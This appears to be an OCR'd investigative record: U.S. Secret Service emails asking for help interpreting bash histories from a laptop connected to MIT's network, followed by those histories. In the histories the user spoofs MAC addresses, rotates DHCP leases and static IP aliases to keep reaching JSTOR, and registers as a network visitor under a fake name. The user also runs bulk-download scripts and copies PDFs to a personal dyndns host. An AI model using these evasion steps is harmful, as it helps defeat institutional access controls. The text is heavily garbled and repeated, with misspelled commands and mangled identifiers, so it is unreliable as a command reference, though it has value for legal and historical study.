  gnome-screensaver
  gnome-screensaver-command --lock
  gnome-lock-screen
  gnome-screensaver-lock
  xscreensaver -lock
  gnome-screensaver-command --lock
  gnome-screensaver
  screen -x
df
  cd /media/
  ls
  mount /dev/sdg1 3a9b2fe1-9c54-43b1-9374-72722d78d3e0/
sudo mount /dev/sdg1 3a9b2fe1-9c54-43b1-9374-72722d78d3e0/
  df
  sudo mount /dev/sdh1 3a9b2fe1-9c54-43b1-9374-72722d78d3e0/
  ls
  /sbin/ifconfig -a
  sudo ifconfig mac 91:4c:a5:a0:c7:55
  ls
  /sbin/ifconfig -a > mac
  sudo ifconfig mac 91:4c:a5:a0:c7:55
  fg
  sudo ifconfig eth0 mac 91:4c:a5:a0:c7:55
man ifconfig
sudo ifconfig eth0 hw ether 91:4c:e5:a0:c7:55
/sbin/ifconfig -a | grep ether
/sbin/ifconfig eth0
dsod ifconfig eth0 hw ether 00:4c:e5:a0:c7:55
dsod ifdown eth0
dsod ifconfig eth0 hw ether 00:4c:e5:a0:c7:55
dsod ifconfig eth0 down
dsod ifconfig eth0 hw ether 00:4c:e5:a0:c7:55
dsod ifconfig eth0 up
dhcclient
dsod dh
dsod dhcclient
dsod dhcclient -r
cd /mnt/
ls
df
cd /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/
ls
ls -l/
lsof /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/ /vol
SUDO ln -s /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/ /vol
Sudo ln -s /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/ /vol
cd /vol
ls
df
ifconfig
sudo dhcclient -r
sudo dhcclient
ls
cd
ls
screen -r
ls blocks/|wc -l
screen
screen
screen
screen -x
wc -l urlstograb.wget
df -h | media
df -h | grep media
wc -l urlstograb.wget
df -h | grep media
grep -v oxford urlstograb.wget | less
grep -v oxford urlstograb.wget | grep -v dukejo | grep -v genesdev | grep -v error | less
grep -v oxford urlstograb.wget | grep -v dukejo | grep -v genesdev | grep -v error | grep -v csip | grep -v majority | less
grep -v oxford urlstograb.wget | grep -v dukejo | grep -v genesdev | grep -v error | grep -v csip | grep -v majority | grep -v genome | less
grep -v oxford urlstograb.wget | grep -v dukejo | grep -v genesdev | grep -v error | grep -v csip | grep -v majority | grep -v genome | grep -v learnmem | less
wc -l urls
df -h | grep media
ls blocks/|wc -l
df -h | grep media
is blocks/| wc -l
df -h | grep media
is blocks/| wc -l
df -h | grep media
ls blocks/| wc -l
df -h | grep media
ls blocks/| wc -l
df -h | grep media
ls blocks/| wc -l
df -h | grep media
ls blocks/| wc -l
df -h | grep media
ls blocks/| wc -l
df -h | grep media
ls blocks/| wc -l
df -h | grep media
is blocks/| wc -l
df -h | grep media
is blocks/| wc -l
df -h | grep media
is blocks/| wc -l
df -h | grep media
is blocks/| wc -l
df -h | grep media
is blocks/| wc -l
df -h | grep media
is blocks/| wc -l
df -h | grep media
is blocks/| wc -l
df -h | grep media
is blocks/| wc -l
df -h | grep media
is blocks/| wc -l
df -h | grep media
is blocks/| wc -l
df -h | grep media
is blocks/| wc -l
df -h | grep media
is blocks/| wc -l
df -h | grep media
is blocks/| wc -l
df -h | grep media
is blocks/| wc -l
df -h | grep media
is blocks/| wc -l
df -h | grep media
is blocks/| wc -l
ping google.com
/sbin/ifconfig -a
/sbin/ifconfig -a | less
df
umount /media/drive
cd /media/drive/
sudo umount /dev/sde1
sudo umount -r /dev/sde1
df
/sbin/ifconfig -a | less
df -h | grep drive2
ls blocks/ | wc -l
cd
ls blocks/ | wc -l
df -h | grep drive2
/sbin/ifconfig -a
ifconfig eth0:1 static 18.55.7.241
sudo ifconfig eth0:1 static 18.55.7.241
/sbin/ifconfig -a
curl --interface eth0:1 www.jstor.org
curl --interface eth0 www.jstor.org
sudo ifconfig eth0:1 static 18.55.6.241
curl --interface eth0 www.jstor.org
curl --interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 static 18.55.5.241
curl --interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 static 18.55.4.241
curl --interface eth0:1 www.jstor.org
/sbin/ifconfig -a
sudo ifconfig eth0:1 static 18.54.4.241
curl --interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 static 18.54.5.241
sudo ifconfig eth0:1 static 18.55.5.241
sudo ifconfig eth0:1 up static 18.55.5.241
ls blocks/ | wc -l
ping 4.2.2.2
cd vol
cd /vol
*/keepgrabbing.py
fig
cd ..
ls vol
ls -l vol
rm vol
sudo rm vol
sudo ln -s /media/drive /vol
cd /vol
*/keepgrabbing.py
a
*/keepgrabbing.py
cd ..
cd vol
*/keepgrabbing.py
cd
df -h
pwd
cd ..
cd vol
"/keepgrabbing.py
cd .. /vol
ls
"/keepgrabbing.py
cd /media
ls
cd 3asb9fe1-9c54-43b1-9574-72722d78d3e0/
l
ls

df -h
sudo shutdown now
cd /media/de
cd /media/drive/
mkdir jsindex
sudo mkdir jsindex
sudo chown root jsindex
cd jsindex
python
ls
fg
more 2010/0800.html
cd 1989
ls
cd /vol/
l
ls
cd jsindex/1989
ls
ls -l | less
ls -l | tail
cd .. /1990
ls -l | less
python
python /usr/bin/easy_install
sudo easy_install --install-dir /usr/lib/python2.6/ pyoai
PYTHONPATH=/usr/lib/python2.6 sudo easy_install --install-dir /usr/lib/python2.6/ pyoai
sudo easy_install --install-dir /usr/lib/python2.6/site-packages/ pyoai
sudo PYTHONPATH=/usr/lib/python2.6/site-packages easy_install --install-dir /usr/lib/python2.6/site-packages/ pyoai
cd /usr/local/lib/python2.6/
l
ls -a
cd dist-packages/
l
ls -a
rm *
sudo rm *
sudo rm -rf *
sudo easy_install pyoai
python
ls
python
cd
ls blocks/ | wc -l
g
ps ax | grep keep
ps ax | grep ser
g %1
g 0
g
kil 2137
kil 2138
ps ax | grep keep
python serveblocks.py 8092
g
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
kill %1
g
python serveblocks.py 8092
kill %1.
g
python serveblocks.py 8092
kill %1.
g
python serveblocks.py 8092
kill %1.
g
python serveblocks.py 8092
kill %1.
g
python serveblocks.py 8092
kill %1.
g
emacs serveblocks.py
python serveblocks.py 8092
cd /media/drive/
"/keepgrabbing.py
df -h
df -h | grep sdd; date
du -hsc /vol/*
dm /vol/urlstograb2.wget
rm /vol/urlstograb2.wget
du -hsc /vol/*
bwm-ng
du -hsc /vol/*
df -h
df -h | grep media
ls blocks | wc -l
ls
emacs oalgrib.py
python -i oalgrib.py
emacs oalgrib.py
python -i oalgrib.py
emacs oalgrib.py
mkdir muse
mv urlstograb* muse
python oalgrib.py | tee urlstograb.wget
wc -l urlstograb.wget
emacs oalgrib.py
python -i oalgrib.py | tee urlstograb.wget
emacs oalgrib.py
python -i oalgrib.py | tee urlstograb.wget
ls
emacs oalgrib.py
fg
emacs oalgrib.py
python -i oalgrib.py | tee urlstograb2.wget
fg
cd /vol
ls
cd www.sciencedirect.com/science/series/sitemap/publication/
ls
cd serial/
ls
cd journals/
ls
emacs "/~ds
chmod +x "/~ds
"/~ds | less
"/~ds . | less
more 17509467.html
ls 0242648X
ls 0242648X/24
ls 0242648X/24/3
more 0242648X/24/3/243.html
python
fg
mkdir /vol/ed/jo
fg
cd
g
python
is
cd uml
is
python
g
more keepgrabbing.py
cd /vol/
is
mkdir pdfs
sudo mkdir pdfs
sudo chown ghost pdfs
cd pdfs/
~/keepgrabbing.py
cd ..
~/keepgrabbing.py
g
~/keepgrabbing.py
dids
g
python
pwd
is
cd ~/umi
python
g
python
is 1000000.html
fg
more 128214.html
more 128213
less 128204.html
less /vol/umi/128204.html
links /vol/umi/128204.html
python
is -ih
is blocks | wc -l
python
is *dbm
fg
is
more deleteandgrab
split -a S -I 1000 deleteandgrab blocks/regrabc
is blocks/ | wc -l
cd blocks/
is | less
is | tail
cd ..
fg
ls /mnt
df
ls /media/drive
fg
links http://caliber.ucravis.net/doi/pdf/10.1525/ps.2010.50.5.835
ls
rm p1-saml.exe

curl -o "http://portal.ascm.org/ft_gateway.cfm?id=1187439&type=pdf&CFID=15902&CFTOKEN=55909171"

curl -o "http://portal.ascm.org/ft_gateway.cfm?id=1187439&type=pdf&CFID=15902&CFTOKEN=55909171"

curl -o "http://portal.ascm.org/ft_gateway.cfm?id=1187439&type=pdf"

curl -o "http://portal.ascm.org/ft_gateway.cfm?id=1187439&type=pdf" | less
ls
more serveblocks.py
emacs serveblocks.py
more keepgrabbing.py
ls /vol
"/sfs/vol umi > umi.sls
more umi.sls
"/sfs/vol/umi > umi.sls
"/sfs/vol/pdfs > pdfs3.sls
ls -IR /vol > js3.jsIR
more js3.jsIR
ls -IR /vol > js3.jsIR
more js3.jsIR
wc -i js3.jsIR
echo -n me@easarnsw.com | md5sum
df
ps aux
df
mount /dev/sdc/vol
cd /vol
ls
cd /media/
ls
ls -l
rm drive
sudo rm drive
sudo mkdir drive
sudo mount /dev/sde drive
sudo mount /dev/sde1 drive
cd drive
ls
df
fd -h
df -h
mkdir pdfs
sudo mkdir pdfs
sudo chown ghost pdfs
ls
"/keepgrabbing.py
cd /media/drive/pdfs
more 3590725.pdf
```
less 3697690.pdf
less 30072010.pdf
less 60244678.pdf
less 3523970.pdf
less 3548593.pdf
less 3523645.pdf
less 3613153.pdf
less 3838338.pdf
less 3279339.pdf
less 1888323.pdf
less 688560.pdf
less "234..pdf"
less 742572.pdf
less 30056803.pdf
less 2023815.pdf
more 2023815.pdf

cd
"/keepgrabbing.py
fg
ls
cd pdfs
ls
df -h
cd /vol/
"/keepgrabbing.py
cd ..
cd vol
"/keepgrabbing.py
```

©(S.L.)(T)(C)

U.S. Secret Service
Boston Field Office
617-990-2918

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
We can, but we haven't had the opportunity to look at much beyond the python script and the bash history. Let us know what is a good time for you. We are free all day today.

Do you mind if we have a conference call with the AUSA.

AUSA Heymann P Stephen
Chief Appellate and Computer Crime Section

U.S. Secret Service
Boston Field Office

Do you have some time today that we can go over the questions you have on the bash history listed below and keep grabbing python script?
would anyone have time available to help me decipher the bash history for proof of Mac spoofing and interpret what the script keepgrabbing.py does?

Sant from Blackberry

The bash history of the Acer that was connected to the MIT network has references to the python script keepgrabbing and JSTOR:

cat .bash_history
rm .bash_history
screen -x
uptime
df -h
ls /mnt/pdfs/ | wc -l
ls -rf /mnt/pdfs/ | wc -l
screen -x
cat .bash_history
ls
cat .ssh/known_hosts
whos ygi.as
uptime
curl www.jstor.org
links www.jstor.org/stable/838383
ls
mv 838383.pdf /mnt/pdfs/
screen -r
screen -x
curl jstor.org
curl -i www.jstor.org
curl -i www.jstor.org
sudo ifconfig wlan0 down
sudo dhclient -re
sudo dhclient -r
sudo ifconfig eth0 up
sudo dhclient
curl -i www.jstor.org
curl scripting.com
/sbin/ifconfig -a
curl scripting.com
ping 4.2.2.2
cat /etc/resolv.conf
sudo dhclient -r
sudo dhclient
ping 4.2.2.2
cat /etc/resolv.conf
curl scripting.com
curl www.google.com
curl -i www.jstor.org
/sbin/ifconfig -a
ping ghost-laptop.dyndns-free.com
ps ax | grep ip
/etc/init.d/ez-ipupdate
/etc/init.d/ez-ipupdate reload
sudo /etc/init.d/ez-ipupdate reload
ping ghost-laptop.dyndns-free.com
dig ghost-laptop.dyndns-free.com
dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
sudo /etc/init.d/ez-ipupdate restart
dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
ex-ipupdate --help
ex-ipupdate --help | less
sudo ex-ipupdate
sudo ex-ipupdate -i eth0
more /etc/ex-ipupdate/default.conf
ex-ipupdate --help | less
sudo ex-ipupdate -c /etc/ex-ipupdate/default.conf
sudo ex-ipupdate -vvv -c /etc/ex-ipupdate/default.conf
ex-ipupdate --help | less
sudo ex-ipupdate -vvv -c /etc/ex-ipupdate/default.conf -i eth0
sudo ex-ipupdate -c /etc/ex-ipupdate/default.conf -i eth0
dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
ls /mnt/jwc-
cd /mnt
ls
ps ax | grep touch
ps ax | grep seq
touch 1
ls
touch 2
seq 1 20
seq 1 20 | xargs touch
ls | wc -i
seq 1 2000000 | xargs touch
ls | wc -l
ls | less
ls | wc -l
ps ax | grep bash
w
who am i
kill 3658
kill -9 3658
mkdir pdfs
cd pdfs
"/keepgrabbing.py
emacs /home/ghost/keepgrabbing.py
zile /home/ghost/keepgrabbing.py
"/keepgrabbing.py
touch foo
rm foo
cd ..
"/keepgrabbing.py
cd /mnt
ls
rm *
ls
cd pdfs
ls
cd
ls
python serveblocks.py
python serveblocks.py 8092
bg
fg
ps ax | grep serve
kill 2461
ps ax | grep serve
python serveblocks.py 8092
bg
ls /mnt
ls /mnt/pdfs
ls -l /mnt/pdfs/
cd
gnome-screensaver-command --activate
ls
ps ax | grep curl
kill 19047
curl www.jstor.org
dhcclient --help
sudo dhcclient
bwm-ng
ls blocks/ | wc -l
df -h
links www.jstor.org/stable/873098
bwm-ng
gnome-screensaver-command --activate
ls blocks/ | wc -l
bwm-ng
ls blocks/ | wc -l
uptime
bwm-ng
df -h
ls blocks/ | wc -l
bwm-ng
sudo umount /mnt
df
screen -x
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
fg
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
0
cd /mnt/
~/keepgrabbing.py
bg; ~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
bg
cd /mnt/
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
cd /mnt
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
ps ax | grep keepgr | awk '{print $1}' | xargs kill
ps ax | grep curl
ps ax | grep gr
ps ax | grep curl
cf -h
/sbin/ifconfig -a
sudo ifconfig eth0:1 static 18.55.7.49
curl -interface eth0:1 www.jstor.org
curl -interface eth0:1 www.google.org
cpy -avz pdfs/ghost-macbook.dyndns-free.com:/vol/pdfs
screen -r
screen -x
python
sudo easy_install pyoa1
sudo apt-get install python-xml
sudo easy_install pyoa1
python
sudo easy_install --remove pyoa1
easy_install --help
easy_install --help| less
sudo easy_install --remove pyoa1
python
sudo easy_install pyoa1
cd /usr/local/lib/python2.6/
is
is site-packages/
cd
is
locate easy-install.pth
locate easy_install.pth
sudo easy_install pyoa1
locate easy-install.pth
cd /usr/lib/python
is
is -a
cd ../python2.6
is
easy_install --help
easy_install --help| less
python serveblocks.py
python serveblocks.py 8092
bg
sudo dhclient -r
sudo dhclient
sudo dhclient -r
sudo dhclient
sudo dhclient -r
sudo dhclient
sudo dhclient
ping 4.2.2.2
sudo dhclient -r
sudo dhclient
sudo dhclient
sudo dhclient
sudo dhclient -r
sleep 60
sudo dhclient -r
sudo dhclient
cd /vol/
ls -l
ls -lh pdfs
easy_install pycoal
sudo apt-get install python-setuptools
sudo apt-get update
sudo apt-get install python-setuptools
sudo apt-get upgrade
ez-ipupdate
sudo /etc/init.d/ez-ipupdate restart
ping ghost-laptop.dyndns-free.com
/sbin/libconfig eth0
ping 18.55.7.237
ping ghost-laptop.dyndns-free.com
sudo /etc/init.d/ez-ipupdate restart
ping 18.55.7.237
ping ghost-laptop.dyndns-free.com
sudo /etc/init.d/ez-ipupdate help
sudo /etc/init.d/ez-ipupdate force-reload
ping ghost-laptop.dyndns-free.com
more /etc/init.d/ez-ipupdate
more /etc/ez-ipupdate/default.conf
sudo less /etc/ez-ipupdate/default.conf
ps ax | grep ez-ip
ping ghost-laptop.dyndns-free.com
cd /vol/pdfs/
ls
ls | less
python osigrab.py
python -i osigrab.py
cd /vol/
ls
cd muse.jhu.edu/
ls
cd content/oai/journals/
ls
cd social_text/
ls
cd v017/
ls
more 17.3
more 17.3dutton.html
man wget
du -hsc /vol/*
du -hsc /vol/*
twm-ng
ls -lh ursstograb wget
ls tograb *
wc -l
ls | wc -l
mv tograb.log ..
sudo dhclient --release
sudo dhclient -r
sudo dhclient
sudo dhclient -r
sudo dhclient
sudo /etc/init.d/ez-ipupdata restart
ping ghost-laptop.dyndns-free.com
/sbin/ifconfig -e | less
ping ghost-laptop.dyndns-free.com
screen -x
sudo ifconfig eth0 up
curl --interface eth0 https://mic.mit.edu/444/bin/dynareg?class=visitor
/sbin/ifconfig -e
sudo dhclient
curl --interface eth0 https://mic.mit.edu/444/bin/dynareg?class=visitor
cat logininfo
curl --interface eth0 https://10.72.0.47:444/bin/dynareg?class=visitor
curl --interface eth0 10.72.0.47
ping -hel
ping -l eth0 10.72.0.47
/sbin/ifconfig -e
ping -l eth0 4.2.2.2
man ping
ping -l 10.2.55.120 4.2.2.2
sudo ping -l 10.2.55.120 4.2.2.2
/sbin/ifconfig -e | less
sudo ping -l 10.2.55.120 4.2.2.2
sudo ping -l wlan0 4.2.2.2
sudo ping -l eth0 4.2.2.2
ping -l eth0 4.2.2.2
sudo ping -l eth0 4.4.
sudo ping -l eth0 10.72.0.47
sudo curl --interface eth0 10.72.0.47
man curl
curl --interface 10.2.55.120 10.72.0.47
route
/sbin/ifconfig -e
route add default gw 18.2.55.1
sudo route add default gw 18.2.55.1
sudo ping -l eth0 10.72.0.47
echo "sudo route add default gw 18.2.55.1" >> logininfo
curl --interface 10.2.55.120 10.72.0.47
curl --interface eth0 10.72.0.47
curl --interface eth0 https://10.72.0.47:444/bin/dynareg?class=visitor
curl -k --interface eth0 https://10.72.0.47:444/bin/dynareg?class=visitor
curl -d "class=visitor" -k --interface eth0 https://10.72.0.47:444/bin/dynareg
curl -d "class=visitor&action=Register" -k --interface eth0 https://10.72.0.47:444/bin/dynareg
curl --interface eth0 www.yahoo.com
dig @10.2.55.7 www.yahoo.com
dig @10.2.55.2 www.yahoo.com
sudo dhclient
cat /etc/resolv.conf
sudo dhclient
cat /etc/resolv.conf
ping 10.72.0.47
dig @10.72.0.47 www.google.com
gnome-screensaver- df
ping www.yahoo.com
echo 10.72.0.47>> logininfo
dig --help
host --help
dig ns x.dyndns-free.com
dig @ns1.dyndns.org ghost-laptop.dyndns-free.org
dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
/sbin/ifconfig -a
ssh ghost-laptop.dyndns-free.org
ssh ghost-laptop.dyndns-free.com
ssh --help / grep inter
man ssh
sudo ifconfig eth0 down
ssh ghost-laptop.dyndns-free.com
sudo curl --interface eth0 10.72.0.47
route
ssh ghost-laptop.dyndns-free.com
ping www.yahoo.com
/sbin/ifconfig -a
ssh 10.189.76.179
sudo dhclient eth0
sudo dhclient eth0
route
man route
route
sudo dhclient eth0
sudo route del default
sudo route -net 10.0.0.0 gw 10.189.64.1
sudo route add -net 10.0.0.0 gw 10.189.64.1
sudo route add 10.0.0.0 gw 10.189.64.1
route
ping 10.189.76.179
ping 10.72.0.47
sudo dhclient eth0
/sbin/ifconfig -a
ping google.com
route
ping 4.2.2.2
sudo dhclient eth0
man logininfo
curl -d "vname=Grace&Host=yemall@ghost42@mailinator.com&vpassword=vintervia=14"
curl -d "vname=Grace+Host&vemail=ghost42@mailinator.com&vsponsor=&vinterval=14" -k --interface eth0 https://10.72.0.47:444/bin/dynaeg

echo 'curl -d "vname=Grace+Host&vemail=ghost42@mailinator.com&vsponsor=&vinterval=14" -k --interface eth0 https://10.72.0.47:444/bin/dynaeg' >> logininfo

curl www.yahoo.com

echo 'curl -d "vname=Grace+Host&vemail=ghost42@mailinator.com&vsponsor=&vinterval=14" -k --interface eth0 https://10.72.0.47:444/bin/dynaeg' >> logininfo

curl -d "vname=Grace+Host&vemail=ghost42@mailinator.com&vsponsor=&vinterval=14" -k --interface eth0 https://10.72.0.47:444/bin/dynaeg

curl -d "vname=Grace+Host&vemail=ghost42@mailinator.com&vsponsor=&vinterval=5" -k --interface eth0 https://10.72.0.47:444/bin/dynaeg

sudo dhclient eth0
sudo dhclient -r
sudo dhclient -r eth0
sudo dhclient eth0
/sbin/ifconfig -a > ifconfiglog
/sbin/ifconfig -a
sudo ifconfig wlan0 down
sudo ifconfig wlan0 hw ether 90:4c:e5:a0:c7:55
sudo ifconfig wlan0 up
/sbin/ifconfig -a
/etc/init.d/ez-ipupdate restart
sudo /etc/init.d/ez-ipupdate restart
dig ghost-laptop.dyndns-free.com
ping 4.2.2.2
sudo dhclient
ping 4.2.2.2
ping www.yahoo.com
route
curl www.yahoo.com
ash ghost-laptop.dyndns-free.com
/sbin/ifconfig -a
ash 18.111.48.33
curl www.yahoo.com
sudo dhclient eth0
cd /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/
ls
ls | grep apj
ls | grep -v oxford
cd /vol

ls

cd www.genome.org/content/1/3/
ls
cd /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/
mORE pdfs/2520824.pdf
more pdfs/25208234.pdf
ls -l pdfs/25208234.pdf
ls -l pdfs | head
python
ps ax | grep python
ps ax | grep ls
sudo kill 8185
sudo kill -9 8185
fg
cd bl
cd blocks/
ls
cd done/
ls | less
ls | head
more alipd000000009
more alipd000000009
more alipd000000009
ls -l /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/pdfs/20273145.pdf
ls | tail
more tograb-saggu
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/pdfs/359815.pdf
ls -l /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/pdfs/359815.pdf
ls | less
ls | grep -v pdf | less
ls | grep blk | tail
more blk0000003629
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/399479
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/399479.pdf
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/3999479.pdf
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/pdfs/3999479.pdf
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/pdfs/3999478.pdf
cd python
ln -s /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/ /media/drive
sudo ln -s /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/ /media/drive
fg
ts /media/drive/pdfs*/
c
w
/sbin/ifconfig -a
ssh 10.189.61.53
/sbin/ifconfig -a
sudo /etc/init.d/ez-ipupdate restart
ssh 18.111.48.33
ls
more failedandneeditgrab
cat failedandneeditgrab | sed -e 's/\./\n/' | sort -u | head
cat failedandneeditgrab | sed -e 's/\./\n/' | sort -u > failed-partial-clean
head failed-partial-clean > blocks/testfailed
/sbin/ifconfig -a
curl –interface wlan0 www.yahoo.com
route
ing 18.111.31.1
wc -l failedandneeditgrab
,;sudo apt-get install autoconf
sudo apt-get update
man ssh
ps ax | grep dhcpclient
kill 7937
sudo kill 7937
sudo kill 8001
sudo kill 8281
ps ax | grep dhcpclient
ps ax | grep netwo
ps ax | grep Netw
sudo kill 730
ps ax | grep.Netw
ps ax
/etc/init.d/network-manager stop
sudo /etc/init.d/network-manager stop
ps ax
ps ax | grep dhcl
sudo kill 8839
ps ax
/sbin/ifconfig -a
sudo emacs /etc/ex-updata/default.conf
sudo /etc/init.d/ex-updata restart
dig ghost-laptop.dyndns-free.com
ls
screen -x
w
who am i
wc -l failed-clean
screen -x
ls
cat failedandneeditgrab | sed -e 's/\pdf/\/' | sort -u > failed-partial-clean
wc -l failedandneeditgrab
cat failedandneeditgrab | sed -e 's/\pdf/\/' | sort -u > failed-clean
rm failed-partial-clean
more failed-clean
cd blocks/done
ls | less
less blk000000000020
wc -l blk000000000020
cd ..
split --help
split -a 5 -l 1000 failed-clean blocks/bikfail
df -h
screen -x
screen -x
who am i
cd uml
python
cd uml
grep 797854 *
grep 801899 *
lis
more 900.html
df -h
screen -r
screen -x
cd /media/drive/jsindex/
ls
rm *
ls
ls
cd 1923
ls
more 00900.html
python
cd ..
ls
python
more 1923/06700.html
fg
ls blocks
df -h
sudo umount /media/boa820ea-a03b-4556-bfa6-eff2d9eb665e/
ping 4.2.2.2
/sbin/ifconfig -a
/sbin/ifconfig -a | less
ls
"/bin/ls | head
./sls pdfs | head
cd pdfs
./sls | xargs -i {} /vol/pdfs/
./sls . | xargs -i {} /vol/pdfs/
ls
cd ..
rm pdfs
more deleteandgrab
ls
ls -l
more pdfs3.sls
tail pdfs3.sls
ls
more js3.js
less js3.js
ls -lh js3.js
fg
ls
ls -lh pdf2size-js4.dbm
wc -i js3.js
python
split -a 5 -i 100 30mblocks blocks/grp30m
cd /vol/jsindex/
python
cd /media/drive/

```
"/keepgrabbing.py

fg

more /media/drive/4478605.pdf
more /media/drive/pdfs/4478605.pdf
curl protect.theinfo.org
links protect.theinfo.org
df
ps ax | grep pert
ps ax
cd /media/
l s
mkdir drive2
sudo mkdir drive2
sudo mount /dev/sdf drive2
sudo mount -t reiserfs /dev/sdf drive2
sudo mount -t reiserfs /dev/sdf1 drive2
df
df -h
cd drive2
l s
ls -a
mkdir pdfs
sudo mkdir pdfs
sudo chown ghost pdfs
cd /vol
ls -l
cd ..
ls -l
rm vol
sudo rm vol
sudo ln -s /media/drive2 vol
screen -r
screen -x
ping www.google.com
/sbin/ifconfig -a
/sbin/ifconfig -a | less
dhcclient
sudo dhcclient
sudo ifdown eth0:1
ping www.google.com
/sbin/ifconfig -a
/sbin/ifconfig -a | less
ping 4.2.2.2
cat /etc/resolv

cat /etc/resolv.conf
ping 10.72.0.47
ping 10.72.0.47
ping 4.2.2.2
sudo ifconfig down eth0:1
sudo ifconfig eth0:1 down
/sbin/ifconfig -a | less
sleep 600 && bell
```
bg
dhcclient
sudo dhcclient
df -h
sudo umount /dev/sdf1
fd
df
ps ax | grep dhcclient
sudo kill 31696
/sbin/ifconfig -a | less
screen -x
gnome-screensaver
gnome-screensaver-command -lock
gnome-lock-screen
gnome-screensaver-lock
xscreen -lock
gnome-screensaver-command -lock
gnome-screensaver
screen -x
df
cd /media/
ls
mount /dev/sdg1 3aeb9f6a1-9e54-43b1-9374-72722d78d3e0/
sudo mount /dev/sdg1 3aeb9f6a1-9e54-43b1-9374-72722d78d3e0/
df
sudo mount /dev/sdh1 3aeb9f6a1-9e54-43b1-9374-72722d78d3e0/
ls
/sbin/ifconfig -a
sudo ifconfig mac 91:4c:e5:a0:c7:55
ls
/sbin/ifconfig -a > mac
sudo ifconfig mac 91:4c:e5:a0:c7:55
fg
sudo ifconfig eth0 mac 91:4c:e5:a0:c7:55
man ifconfig
sudo ifconfig eth0 hw ether 91:4c:e5:a0:c7:55
/sbin/ifconfig -a | grep ether
/sbin/ifconfig eth0
sudo ifconfig eth0 hw ether 00:4c:e5:a0:c7:55
sudo ifdown eth0
sudo ifconfig eth0 hw ether 00:4c:e5:a0:c7:55
sudo ifconfig eth0 down
sudo ifconfig eth0 hw ether 00:4c:e5:a0:c7:55
sudo ifconfig eth0 up
dhcclient
sudo dh
sudo dhcclient
sudo dhcclient -r
cd /mnt/
ls
df
cd /media/bce820ea-a03b-4556-bfa5-eff2d9eb665e/
ls blocks/ | wc -l
ls /mnt
ls /vol
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
ping google.com
/sbin/ifconfig -a
/sbin/ifconfig -a | less
df
umount /media/drive
cd /media/drive/
ls
df -h
ls
sudo umount /dev/sde1
sudo umount -f /dev/sde1
df
/sbin/ifconfig -a | less
df -h | grep drive2
ls blocks/ | wc -l
cd
is blocks/ | wc -l
df -h | grep drive2
/sbin/ifconfig -a
ifconfig eth0:1 static 192.168.7.241
sudo ifconfig eth0:1 static 192.168.7.241
/sbin/ifconfig -a
curl -I -interface eth0:1 www.jstor.org
curl -interface eth0 www.jstor.org
sudo ifconfig eth0:1 static 18.55.5.241
curl -interface eth0 www.jstor.org
curl -interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 static 18.55.5.241
curl -interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 static 18.55.4.241
